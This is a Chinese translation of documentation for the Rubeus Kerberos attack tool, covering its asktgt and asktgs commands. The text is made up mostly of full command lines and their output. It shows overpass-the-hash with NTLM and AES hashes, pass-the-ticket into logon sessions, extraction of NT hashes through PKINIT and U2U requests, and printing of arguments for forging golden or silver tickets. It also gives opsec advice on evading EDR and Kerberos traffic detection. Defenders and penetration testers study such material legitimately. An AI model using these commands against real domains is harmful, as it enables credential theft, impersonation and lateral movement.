当使用 sekurlsa::pth 进行超哈希传递时,Mimikatz 首先使用虚拟凭据创建一个新的 登录类型 9 进程 —— 这会创建一个新的“牺牲”登录会话,不会与当前登录会话交互。然后它打开 LSASS 进程,具有写入进程内存的能力,并将提供的哈希/密钥 修补到 相应登录会话(在这种情况下是已启动的“牺牲”登录会话)的适当部分。这会触发正常的 Kerberos 身份验证过程正常运行,就像用户正常登录一样,从而将提供的哈希转换为完整的 TGT。
当运行 Rubeus 的 asktgt 命令(或 Kekeo 的等效命令)时,使用原始 Kerberos 协议请求 TGT,如果传递了 /ptt 标志,则将其应用于当前登录会话。
使用 Mimikatz 方法,需要管理权限,因为你是直接操作 LSASS 内存。如前所述,Mimikatz 的普及也导致此类行为(打开 LSASS 句柄并读写其内存)成为 EDR 检测和/或预防的主要目标。使用 Rubeus/Kekeo 方法,不需要管理权限,因为没有接触 LSASS。但是,如果将票据应用于当前登录会话(使用 /ptt),则会覆盖当前登录会话的 TGT。可以通过(使用管理访问权限)使用 /createnetonly 命令创建一个牺牲进程/登录会话,然后使用新创建的进程 LUID 的 /ptt /ticket:X /luid:0xa.. 来避免此行为。如果使用 Cobalt Strike,可以使用带有虚拟凭据的 make_token 命令,然后使用 kerberos_ticket_use 和 Rubeus 检索到的票据,这样你就可以以一种 a) 不需要管理权限且 b) 不会踩到当前登录会话 TGT 的方式应用新 TGT。
我们认为,由于该技术的普及,LSASS 操作方法更有可能(在当前时刻)被检测或缓解。然而,Rubeus 方法确实会导致另一种可检测的行为。通常,只有 lsass.exe 才会发出到端口 88 的 Kerberos 流量——从非正常进程发送此类原始流量,如果能够收集到信息,则可能被检测到。
附注: 两种方法都可能被捕获的一种方式是前面提到的“加密降级”检测。要检索 AES 密钥,请使用 Mimikatz 的 sekurlsa::ekeys 模块返回所有 Kerberos 加密密钥(lsadump::dcsync 也是如此),这些密钥在尝试规避某些检测时更好使用。
票据请求命令分解:
asktgt 操作将为指定用户和加密密钥(/rc4、/aes128、/aes256 或 /des)构建原始 AS-REQ(TGT 请求)流量。也可以使用 /password 标志代替哈希——在这种情况下,/enctype:X 将默认为 RC4 用于交换,可选值为 des|aes128|aes256。如果未指定 /domain,则会提取计算机的当前域;如果未指定 /dc,则会提取系统的当前域控制器。如果身份验证成功,则解析生成的 AS-REP,并将 KRB-CRED(.kirbi 文件,包含用户的 TGT)作为 base64 blob 输出。/ptt 标志将“传递票据”并将生成的 Kerberos 凭据应用于当前登录会话。/luid:0xA.. 标志将票据应用于指定的登录会话 ID(需要提升权限),而不是当前登录会话。
请注意,在主机上请求 TGT 或将它们应用于当前登录会话不需要提升权限,只需要目标用户的正确哈希。另外,一个操作安全提示:一次只能将一个 TGT 应用于当前登录会话,因此在使用 /ptt 选项应用新票据时,之前的 TGT 会被清除。一种解决方法是使用 /createnetonly:C:\X.exe 参数(默认情况下会隐藏进程,除非指定 /show 标志),或者请求票据并使用 ptt /luid:0xA.. 将其应用于另一个登录会话。
默认情况下,Rubeus 生成的 AS-REQ 与真实 AS-REQ 之间存在一些差异。为了生成更符合真实请求的 AS-REQ,可以使用 /opsec 标志,这将首先发送一个不带预身份验证的初始 AS-REQ,如果成功,则解密生成的 AS-REP 并返回 TGT;否则,再发送一个带有预身份验证的 AS-REQ。由于此标志旨在使 Rubeus 流量更加隐蔽,默认情况下不能与除 aes256 之外的任何加密类型一起使用,如果使用其他加密类型,将抛出警告并退出。要允许将其他加密类型与 /opsec 更改一起使用,存在 /force 标志。PKINIT 认证通过 /certificate:X 参数支持。当 PFX 文件中的私钥受密码保护时,可以通过 /password:X 参数传递该密码。使用 PKINIT 认证时,可使用 /getcredentials 标志自动请求 U2U 服务票据并获取账户 NT 哈希值。
通过 /nopac 开关可以请求不含 PAC 的 TGT。
使用 KDC 代理(MS-KKDCP)进行请求可通过 /proxyurl:URL 参数实现。需要提供 KDC 代理的完整 URL,例如 https://kdcproxy.exmaple.com/kdcproxy。
/nopreauth 标志可用于发送不含预认证的 AS-REQ。/service:SPN 参数可用于直接通过 AS-REQ 请求服务票据,它接受 SPN 或用户名。
通过 RC4 哈希为 [email protected] 请求票据,并将其应用到当前登录会话:
C:\Rubeus>Rubeus.exe asktgt /user:dfm.a /rc4:2b576acbe6bcfda7294d6bd18041b8fe /ptt
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.4.1
[*] Action: Ask TGT
[*] Using rc4_hmac hash: 2b576acbe6bcfda7294d6bd18041b8fe
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building AS-REQ (w/ preauth) for: 'testlab.local\dfm.a'
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIFmjCCBZagAwIBBaEDAgEWooIErzCCBKthggSnMIIEo6ADAgEFoQ8bDVRFU1RMQUIuTE9DQUyiIjAg
oAMCAQKhGTAXGwZrcmJ0Z3QbDXRlc3RsYWIubG9jYWyjggRlMIIEYaADAgESoQMCAQKiggRTBIIETwrl
zIpKjTT11eteJCn+0rtlKwtTW/8XvoWXy61rOCrOIo16YPiMe4usXoJaOqsvCydMgd6955hT+IoFMyGG
VfVxetoM1Oa5aPA2sfzJeogn4RpFBoY5vjjKBzPaTJptPRX7Wjg0o1FTszJET4mhQyLKxQMgprKcc2mz
yniQzGPI19O95aSoPpNar+4lKlyBsL4QjSEeBdZQ2/Ab1JVu3eh1xCsWkKUUlabbzeZwo8SG0QkZ0DKk
qOD8hx5wbQ+w8emcLvHMIrmg1xO2OPngK76C3daeiS59UVADSz/n3H7Tfuk+EXSdZ8DC4/c8KIZvHsC6
cO/ymVFxyuRJLg7VThl8keZmbWzYei6xAwH7mUAUEA1lk0pEHx12nAHcKILsbS3F9wAcHMNEGe/Xa3UK
INJ0q+JvdJpCPo/wgyu7wjKgsdpgUV0siVfpGaxG7yh6s3U2tAlBWnWdGF/Gy/FkOk/hJxhTTHcHa5XE
LTaXY9cnraee+llJqmOnHfjPa5+XNTnVtBZjT0SPRnSXfdPG5BgiXYlCjr5ykhF8MdVE1Se+WtEZJuPj
lYrCtWo2oEjBbYMb3YGTcWh5+oWNY1QdxSpyFc8IDQOTOCnQ+nsQf78phU7svTBm0b5AqqPD/olz1RYm
f4qR+90TcASaQGwHUQbpFnLb2U9BHwNS+SlRwafFT5qlTmXaqoQMMjknospm0+v0U8hd8KbZ4jwK2hM+
vE74bOiAMdjTf5YLDorRyuFUoa7oIaJZTXxsLmqZsBCsUnH5etXTb9vHj7Dl27wyP9snRHIWuE8Rdo9Z
zAJK6PESaBcUqhKqkjWLUKDuT2+SCduPVF6+3QJB0xLJrwXKp/MiV418H/pHRoy6JkKKw2m1bw45P8Az
l54g75WJqEiAzj/+I64TUfbEFJtd9OHujAKzjMMiKRQKwTKR1Jfb6gTrv6K0GCTJ15W84DeWc47jTutE
HbWxuKib3niTTM5YcHZcN6h/V8Zef8r4fdhY20xGCwqlT9X5md96+647bRq/AZDtiAEaVAH5f3QTQen8
o6XpVqSoZxRASEs3oKFfNunBFJ+QxOL4A47iO1JH0wlM7L2Vx+QeDMfqUh3i9S71YBLdHtPflo8ivmNS
gf0dIeAE2rHRNQn+q7vvrl4r/Bxy3CikzBWnq9Nff8vUJmZ0MQBc4mBpykuuFtLuEJOELdUzW4uCF/9a
JffKDnWk0lIDymImtxqTO0Y/mk0zEQ7RZNUIR3vtrNSO84CjZ/YFYCIdIR5wCzztPSZ0RH7C4lVueBO5
ZoDiWYvPuOQsZHkP2XD+GQtu0hN6MOfLOKGVmNrKs1KRfWhbqnTQudjFSkvgHlgjIslKJDa6WzmSQhdW
fPIA9ggjCmQtyB6seiYi9LdJuQ+GiiF2UphTEJ+a5DR6rGYbg4hhd+ru2Z8Lt5rBojliLnedafyZJ15t
alU+n8aNdIPXfVmsR3caTXkncNBlo4HWMIHToAMCAQCigcsEgch9gcUwgcKggb8wgbwwgbmgGzAZoAMC
ARehEgQQ+zY8adXi2NuvkAxl1ohUOKEPGw1URVNUTEFCLkxPQ0FMohIwEKADAgEBoQkwBxsFZGZtLmGj
BwMFAEDhAAClERgPMjAxOTAyMjUyMzA2MDdaphEYDzIwMTkwMjI2MDQwNjA3WqcRGA8yMDE5MDMwNDIz
MDYwN1qoDxsNVEVTVExBQi5MT0NBTKkiMCCgAwIBAqEZMBcbBmtyYnRndBsNdGVzdGxhYi5sb2NhbA==
[*] Action: Import Ticket
[+] Ticket successfully imported!
[*] Action: Describe Ticket
UserName : dfm.a
UserRealm : TESTLAB.LOCAL
ServiceName : krbtgt/testlab.local
ServiceRealm : TESTLAB.LOCAL
StartTime : 2/25/2019 3:06:07 PM
EndTime : 2/25/2019 8:06:07 PM
RenewTill : 3/4/2019 3:06:07 PM
Flags : name_canonicalize, pre_authent, initial, renewable, forwardable
KeyType : rc4_hmac
Base64(key) : +zY8adXi2NuvkAxl1ohUOA==
通过 aes256_hmac 哈希为 [email protected] 请求票据,创建一个新的隐藏进程并将票据应用至该登录会话。注意:需要提权!
C:\Rubeus>Rubeus.exe asktgt /user:dfm.a /domain:testlab.local /aes256:e27b2e7b39f59c3738813a9ba8c20cd5864946f179c80f60067f5cda59c3bd27 /createnetonly:C:\Windows\System32\cmd.exe
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.3
[*] Action: Create Process (/netonly)
[*] Showing process : False
[+] Process : 'C:\Windows\System32\cmd.exe' successfully created with LOGON_TYPE = 9
[+] ProcessID : 7564
[+] LUID : 0x3c4c241
[*] Action: Ask TGT
[*] Using aes256_cts_hmac_sha1 hash: e27b2e7b39f59c3738813a9ba8c20cd5864946f179c80f60067f5cda59c3bd27
[*] Target LUID : 63226433
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building AS-REQ (w/ preauth) for: 'testlab.local\dfm.a'
[*] Connecting to 192.168.52.100:88
[*] Sent 234 bytes
[*] Received 1620 bytes
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIFujCCBbagAwIBBaEDAgEWooIEvzCCBL...(snip)...
[*] Action: Import Ticket
[*] Target LUID: 0x3c4c241
[+] Ticket successfully imported!
注意:/luid 和 /createnetonly 参数需要提权!
使用证书请求票据,并使用 /getcredentials 获取 NT 哈希:
C:\Rubeus>Rubeus.exe asktgt /user:harmj0y /domain:rubeus.ghostpack.local /dc:pdc1.rubeus.ghostpack.local /getcredentials /certificate:MIIR3QIB...(snip)...QI/GZmyPRFEeE=
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.0.0
[*] Action: Ask TGT
[*] Using PKINIT with etype rc4_hmac and subject: CN=Harm J0y, CN=Users, DC=rubeus, DC=ghostpack, DC=local
[*] Building AS-REQ (w/ PKINIT preauth) for: 'rubeus.ghostpack.local\harmj0y'
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIF9DCCBfCgAwIBBaEDAgEWooIE7DCCBOhhggTkMIIE4KADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
...(snip)...
YnRndBsWcnViZXVzLmdob3N0cGFjay5sb2NhbA==
ServiceName : krbtgt/rubeus.ghostpack.local
ServiceRealm : RUBEUS.GHOSTPACK.LOCAL
UserName : harmj0y
UserRealm : RUBEUS.GHOSTPACK.LOCAL
StartTime : 14/07/2021 02:25:33
EndTime : 14/07/2021 12:25:33
RenewTill : 21/07/2021 02:25:33
Flags : name_canonicalize, pre_authent, initial, renewable, forwardable
KeyType : rc4_hmac
Base64(key) : 7MS2ajfZo4HedoK+K3dLcQ==
ASREP (key) : 9B1C28A276FBBE557D0F9EE153FE24E1
[*] Getting credentials using U2U
CredentialInfo :
Version : 0
EncryptionType : rc4_hmac
CredentialData :
CredentialCount : 1
NTLM : C69A7EA908898C23B72E65329AF7E3E8
asktgs 操作将使用提供的 TGT /ticket:X 构建/解析原始 TGS-REQ/TGS-REP 服务票据请求。该值可以是 .kirbi 文件的 base64 编码,也可以是磁盘上 .kirbi 文件的路径。如果未指定 /dc,则提取计算机的当前域控制器并将其用作请求流量的目标。/ptt 标志将“传递票据”并将生成的服务票据应用于当前登录会话。必须指定一个或多个 /service:X SPN,以逗号分隔。
构建的 TGS-REQ 中支持的加密类型为 RC4_HMAC、AES128_CTS_HMAC_SHA1 和 AES256_CTS_HMAC_SHA1。在这种情况下,KDC 将使用支持的最高相互加密来构建返回的服务票据。如果要强制使用 DES、RC4 或 AES128/256 密钥,请使用 /enctype:[RC4|AES128|AES256|DES]。
为了使用企业主体(即 [email protected])为账户请求服务票据,可以使用 /enterprise 标志。
默认情况下,Rubeus 生成的 TGS-REQ 与真正的 TGS-REQ 之间存在一些差异。为了使 TGS-REQ 更接近真实请求,可以使用 /opsec 标志,这还会在请求为配置了非约束委派的账户请求服务票据时自动发送额外的 TGS-REQ。由于此标志旨在使 Rubeus 流量更隐蔽,因此默认情况下不能与除 aes256 之外的任何加密类型一起使用,如果使用其他加密类型,它只会发出警告并退出。
为了手动模拟其他场景,可以使用 /tgs:X 提供附加票据,该票据将附加到请求体中。这也会添加约束委派 KDC 选项,并避免从给定的 SPN /service:X 动态确定域,因此已实现 /targetdomain:X 参数来强制请求使用提供的域,这对于从外部域请求委派服务票据或带有不常见 SPN 的票据非常有用。
/u2u 标志用于请求用户到用户票据。与 /tgs:X 参数(用于提供目标账户的 TGT)一起使用时,/service:X 参数可以是提供的 TGT 所对应账户的用户名。/targetuser:X 参数将通过插入包含“目标用户”用户名的 PA-FOR-USER PA 数据段来请求任何其他账户的 PAC。
/printargs 标志将打印如果 PAC 可读则伪造具有相同 PAC 值的票据所需的参数。这可以通过提供 /servicekey:X 参数或使用已知会话密钥执行 /u2u 请求来实现。
使用 KDC 代理(MS-KKDCP)进行请求可通过 /proxyurl:URL 参数实现。需要提供 KDC 代理的完整 URL,例如 https://kdcproxy.exmaple.com/kdcproxy。
/keyList 标志用于 Kerberos 密钥列表请求。这些请求必须使用来自只读域控制器的伪造部分 TGT,在 /ticket:BASE64|FILE.KIRBI 参数中提供,关于此伪造 TGT 的更多详细信息请参阅 golden 部分。此外,/spn:x 字段必须设置为域中的 KRBTGT SPN,例如 KRBTBT/domain.local。
asktgs 操作还支持通过 Kerberos 认证包使用 LSASS 请求服务票据。可以通过省略 /ticket 参数来启用此操作模式。默认情况下,使用与当前登录会话相关联的 TGT。可以通过提供 /luid:xxx 参数来定位其他登录会话。定位其他登录会话时需要本地管理员权限。目前,只能通过 LSASS 请求简单的服务票据。对于 S4U2Self、U2U、密钥列表和 KDC 代理等功能参数将被忽略。通过 LSASS 请求服务票据通常更有利于 opsec,因为 Kerberos 流量将源自 LSASS。在 Credential Guard / Remote Credential Guard 处于活动状态的场景中也需要此模式,因为使用凭证保护时无法转储 TGT。
为 dfm.a 请求 TGT,然后使用该票据请求 “LDAP/primary.testlab.local” 和 “cifs/primary.testlab.local” SPN 的服务票据:
C:\Rubeus>Rubeus.exe asktgt /user:dfm.a /rc4:2b576acbe6bcfda7294d6bd18041b8fe
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.3
[*] Action: Ask TGT
[*] Using rc4_hmac hash: 2b576acbe6bcfda7294d6bd18041b8fe
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building AS-REQ (w/ preauth) for: 'testlab.local\dfm.a'
[*] Connecting to 192.168.52.100:88
[*] Sent 230 bytes
[*] Received 1537 bytes
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIFmjCCBZagAwIBBaEDAgEWoo...(snip)...
C:\Rubeus>Rubeus.exe asktgs /ticket:doIFmjCCBZagAwIBBaEDAgEWoo...(snip)... /service:LDAP/primary.testlab.local,cifs/primary.testlab.local /ptt
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.3
[*] Action: Ask TGS
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building TGS-REQ request for: 'LDAP/primary.testlab.local'
[*] Connecting to 192.168.52.100:88
[*] Sent 1514 bytes
[*] Received 1562 bytes
[+] TGS request successful!
[*] base64(ticket.kirbi):
doIFzjCCBcqgAwIBBaEDAgEWoo...(snip)...
[*] Action: Import Ticket
[+] Ticket successfully imported!
[*] Action: Ask TGS
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building TGS-REQ request for: 'cifs/primary.testlab.local'
[*] Connecting to 192.168.52.100:88
[*] Sent 1514 bytes
[*] Received 1562 bytes
[+] TGS request successful!
[*] base64(ticket.kirbi):
doIFzjCCBcqgAwIBBaEDAgEWoo...(snip)...
[*] Action: Import Ticket
[+] Ticket successfully imported!
C:\Rubeus>Rubeus.exe klist
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.3
[*] Action: List Kerberos Tickets (Current User)
[0] - 0x12 - aes256_cts_hmac_sha1
Start/End/MaxRenew: 2/10/2019 6:44:43 PM ; 2/10/2019 11:44:09 PM ; 2/17/2019 6:44:09 PM
Server Name : cifs/primary.testlab.local @ TESTLAB.LOCAL
Client Name : dfm.a @ TESTLAB.LOCAL
Flags : name_canonicalize, ok_as_delegate, pre_authent, renewable, forwardable (40a50000)
[1] - 0x12 - aes256_cts_hmac_sha1
Start/End/MaxRenew: 2/10/2019 6:44:43 PM ; 2/10/2019 11:44:09 PM ; 2/17/2019 6:44:09 PM
Server Name : LDAP/primary.testlab.local @ TESTLAB.LOCAL
Client Name : dfm.a @ TESTLAB.LOCAL
Flags : name_canonicalize, ok_as_delegate, pre_authent, renewable, forwardable (40a50000)
为启用 AES 的服务账户请求服务票据,指定我们仅支持 RC4_HMAC:
C:\Rubeus>Rubeus.exe asktgs /ticket:doIFmjCCBZagAwIBBaEDAgEWoo...(snip).../service:roast/me /enctype:rc4
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.4.1
[*] Action: Ask TGS
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Requesting 'rc4_hmac' etype for the service ticket
[*] Building TGS-REQ request for: 'roast/me'
[+] TGS request successful!
[*] base64(ticket.kirbi):
doIFrjCCBaqgAwIBBaEDA...(snip)...
[*] Action: Describe Ticket
UserName : dfm.a
UserRealm : TESTLAB.LOCAL
ServiceName : roast/me
ServiceRealm : TESTLAB.LOCAL
StartTime : 2/25/2019 3:10:59 PM
EndTime : 2/25/2019 8:09:54 PM
RenewTill : 3/4/2019 3:09:54 PM
Flags : name_canonicalize, pre_authent, renewable, forwardable
KeyType : rc4_hmac
Base64(key) : Gg3zZicIl5c50KGecCf8XA==
请求用户到用户服务票据并包含 PA for User PA-DATA 段(一个 S4U2self 请求),可获得任何用户的可读 PAC:
C:\Rubeus>Rubeus.exe asktgs /u2u /targetuser:ccob /ticket:doIFijCCBYagAwIBBaED...(snip)...3RwYWNrLmxvY2Fs /tgs:doIFijCCBYagAwIBBaEDAg...(snip)...YWNrLmxvY2Fs
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.0.0
[*] Action: Ask TGS
[*] Using domain controller: PDC1.rubeus.ghostpack.local (192.168.71.80)
[*] Requesting default etypes (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1) for the service ticket
[*] Building User-to-User TGS-REQ request for: 'exploitph'
[+] TGS request successful!
[*] base64(ticket.kirbi):
doIFKzCCBSegAwIBBaEDAgEWooIEKzCCBCdhggQjMIIEH6ADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
...(snip)...
cGxvaXRwaA==ServiceName : exploitph
ServiceRealm : RUBEUS.GHOSTPACK.LOCAL
UserName : ccob
UserRealm : RUBEUS.GHOSTPACK.LOCAL
StartTime : 20/07/2021 22:00:07
EndTime : 21/07/2021 07:59:39
RenewTill : 27/07/2021 21:59:39
Flags : name_canonicalize, pre_authent, renewable, forwardable
KeyType : aes256_cts_hmac_sha1
Base64(key) : u2AYdjG4gLNIXqzb3MmwtDtE1k2NR5ty9h80w704+8Q=
Decrypted PAC :
LogonInfo :
LogonTime : 01/01/1601 00:00:00
LogoffTime :
KickOffTime :
PasswordLastSet : 20/07/2021 21:58:44
PasswordCanChange : 21/07/2021 21:58:44
PasswordMustChange : 31/08/2021 21:58:44
EffectiveName : ccob
FullName : C Cob
LogonScript :
ProfilePath :
HomeDirectory :
HomeDirectoryDrive :
LogonCount : 0
BadPasswordCount : 0
UserId : 1109
PrimaryGroupId : 513
GroupCount : 1
Groups : 513
UserFlags : (32) EXTRA_SIDS
UserSessionKey : 0000000000000000
LogonServer : PDC1
LogonDomainName : RUBEUS
LogonDomainId : S-1-5-21-3237111427-1607930709-3979055039
UserAccountControl : (16) NORMAL_ACCOUNT
ExtraSIDCount : 1
ExtraSIDs : S-1-18-2
ResourceGroupCount : 0
ClientName :
Client Id : 20/07/2021 21:59:39
Client Name : ccob
UpnDns :
DNS Domain Name : RUBEUS.GHOSTPACK.LOCAL
UPN : [email protected]
Flags : 0
ServerChecksum :
Signature Type : KERB_CHECKSUM_HMAC_MD5
Signature : 79A2DC5595C76FA85155B4C65B3A0EE1 (VALID)
KDCChecksum :
Signature Type : KERB_CHECKSUM_HMAC_SHA1_96_AES256
Signature : DA57618BB48EA56371E374B1 (UNVALIDATED)
如果 PAC 可以被解密(通过用户到用户请求或传递 /servicekey),则可以打印伪造包含相同 PAC 值的票证所需的参数:
C:\Rubeus>Rubeus.exe asktgs /service:roast/me /printargs /servicekey:9FFB199F118556F579B415270EE835005227FCBF29331DAC27C4397AC353F52B /ticket:doIF9DCCBfCgAwIBBaEDAg...(snip)...cGFjay5sb2NhbA==
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.0.0
[*] Action: Ask TGS
[*] Using domain controller: PDC1.rubeus.ghostpack.local (192.168.71.80)
[*] Requesting default etypes (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1) for the service ticket
[*] Building TGS-REQ request for: 'roast/me'
[+] TGS request successful!
[*] base64(ticket.kirbi):
doIF6jCCBeagAwIBBaEDAgEWooIE5zCCBONhggTfMIIE26ADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
...(snip)...
AgECoQ0wCxsFcm9hc3QbAm1l
ServiceName : roast/me
ServiceRealm : RUBEUS.GHOSTPACK.LOCAL
UserName : harmj0y
UserRealm : RUBEUS.GHOSTPACK.LOCAL
StartTime : 20/07/2021 00:02:27
EndTime : 20/07/2021 09:57:46
RenewTill : 26/07/2021 23:57:46
Flags : name_canonicalize, pre_authent, renewable, forwardable
KeyType : aes256_cts_hmac_sha1
Base64(key) : U9Vnk0QnOmByQqF7i+5ujkinm9pRrevcRhw1sKVEVi4=
Decrypted PAC :
LogonInfo :
LogonTime : 19/07/2021 23:00:38
LogoffTime :
KickOffTime :
PasswordLastSet : 14/07/2021 02:07:12
PasswordCanChange : 15/07/2021 02:07:12
PasswordMustChange :
EffectiveName : harmj0y
FullName : Harm J0y
LogonScript :
ProfilePath :
HomeDirectory :
HomeDirectoryDrive :
LogonCount : 8
BadPasswordCount : 0
UserId : 1106
PrimaryGroupId : 513
GroupCount : 1
Groups : 513
UserFlags : (32) EXTRA_SIDS
UserSessionKey : 0000000000000000
LogonServer : PDC1
LogonDomainName : RUBEUS
LogonDomainId : S-1-5-21-3237111427-1607930709-3979055039
UserAccountControl : (528) NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD
ExtraSIDCount : 1
ExtraSIDs : S-1-18-1
ResourceGroupCount : 0
CredentialInfo :
Version : 0
EncryptionType : rc4_hmac
CredentialData : *** NO KEY ***
ClientName :
Client Id : 19/07/2021 23:57:46
Client Name : harmj0y
UpnDns :
DNS Domain Name : RUBEUS.GHOSTPACK.LOCAL
UPN : [email protected]
Flags : 0
ServerChecksum :
Signature Type : KERB_CHECKSUM_HMAC_SHA1_96_AES256
Signature : 96FA020562EE73B38D31AEEF (VALID)
KDCChecksum :
Signature Type : KERB_CHECKSUM_HMAC_SHA1_96_AES256
Signature : E7FDCBAF5F580DFB567DF102 (UNVALIDATED)
[*] Printing argument list for use with Rubeus' 'golden' or 'silver' commands:
/user:harmj0y /id:1106 /pgid:513 /logoncount:8 /badpwdcount:0 /sid:S-1-5-21-3237111427-1607930709-3979055039 /netbios:RUBEUS /displayname:"Harm J0y" /groups:513 /sids:S-1-18-1 /pwdlastset:"14/07/2021 02:07:12" /minpassage:1d /dc:PDC1.RUBEUS.GHOSTPACK.LOCAL /uac:NORMAL_ACCOUNT,DONT_EXPIRE_PASSWORD
使用 PKINIT 请求 TGT,然后请求用户到用户服务票证以获取存储在 PAC 中的 NTLM 哈希(手动执行 asktgt 标志中的 /getcredentials):
C:\Rubeus>Rubeus.exe asktgs /u2u /asrepkey:CC9D16AB01D1BD0EF9EBD53C8AD536D9 /ticket:doIF9DCCBfCgAwIBBaED...(snip)...ay5sb2NhbA== /tgs:doIF9DCCBfCgAwIBBaED...(snip)...ay5sb2NhbA==
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.0.0
[*] Action: Ask TGS
[*] Using domain controller: PDC1.rubeus.ghostpack.local (192.168.71.80)
[*] Requesting default etypes (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1) for the service ticket
[*] Building User-to-User TGS-REQ request for: 'harmj0y'
[+] TGS request successful!
[*] base64(ticket.kirbi):
doIFxTCCBcGgAwIBBaEDAgEWooIE1DCCBNBhggTMMIIEyKADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
...(snip)...
RVVTLkdIT1NUUEFDSy5MT0NBTKkUMBKgAwIBAaELMAkbB2hhcm1qMHk=
ServiceName : harmj0y
ServiceRealm : RUBEUS.GHOSTPACK.LOCAL
UserName : harmj0y
UserRealm : RUBEUS.GHOSTPACK.LOCAL
StartTime : 19/07/2021 23:01:05
EndTime : 20/07/2021 09:00:38
RenewTill : 26/07/2021 23:00:38
Flags : name_canonicalize, pre_authent, renewable, forwardable
KeyType : rc4_hmac
Base64(key) : Qm9zdwFIINSHAAmqaviuEw==
ASREP (key) : CC9D16AB01D1BD0EF9EBD53C8AD536D9
Decrypted PAC :
LogonInfo :
LogonTime : 19/07/2021 22:59:21
LogoffTime :
KickOffTime :
PasswordLastSet : 14/07/2021 02:07:12
PasswordCanChange : 15/07/2021 02:07:12
PasswordMustChange :
EffectiveName : harmj0y
FullName : Harm J0y
LogonScript :
ProfilePath :
HomeDirectory :
HomeDirectoryDrive :
LogonCount : 7
BadPasswordCount : 0
UserId : 1106
PrimaryGroupId : 513
GroupCount : 1
Groups : 513
UserFlags : (32) EXTRA_SIDS
UserSessionKey : 0000000000000000
LogonServer : PDC1
LogonDomainName : RUBEUS
LogonDomainId : S-1-5-21-3237111427-1607930709-3979055039
UserAccountControl : (528) NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD
ExtraSIDCount : 1
ExtraSIDs : S-1-18-1
ResourceGroupCount : 0
CredentialInfo :
Version : 0
EncryptionType : rc4_hmac
CredentialData :
CredentialCount : 1
NTLM : C69A7EA908898C23B72E65329AF7E3E8
ClientName :
Client Id : 19/07/2021 23:00:38
Client Name : harmj0y
UpnDns :
DNS Domain Name : RUBEUS.GHOSTPACK.LOCAL
UPN : [email protected]
Flags : 0
ServerChecksum :
Signature Type : KERB_CHECKSUM_HMAC_MD5
Signature : ADEC4A1A7DF70D0A61047E510E778454 (VALID)
KDCChecksum :
Signature Type : KERB_CHECKSUM_HMAC_SHA1_96_AES256
Signature : 6CF688E02147BEEC168E0125 (UNVALIDATED)
**注意:必须传递从 TGT 获取的 /asrepkey 才能解密存储 NTLM 哈希的 CredentialData 部分,但此处不需要 /servicekey 参数,因为正在使用 TGT 的会话密钥(因为这是用户到用户请求)。
使用当前登录会话请求服务票证:``` Rubeus.exe asktgs /service:LDAP/dc.ghostpack.local /nowrap
(_____ \ | | ) ) | | _____ _ _ ___ | __ /| | | | _ | ___ | | | |/) | | \ | || | |) ) | || | | || ||/|/|_____)__/(_/
v2.3.3
[*] Action: Ask TGS
[=] Requesting service ticket via LSA authentication package 2 using handle 0x9625072 [*] base64(ticket.kirbi):
doIGvDCCBrigAwIBBaEDAg(..snip..)
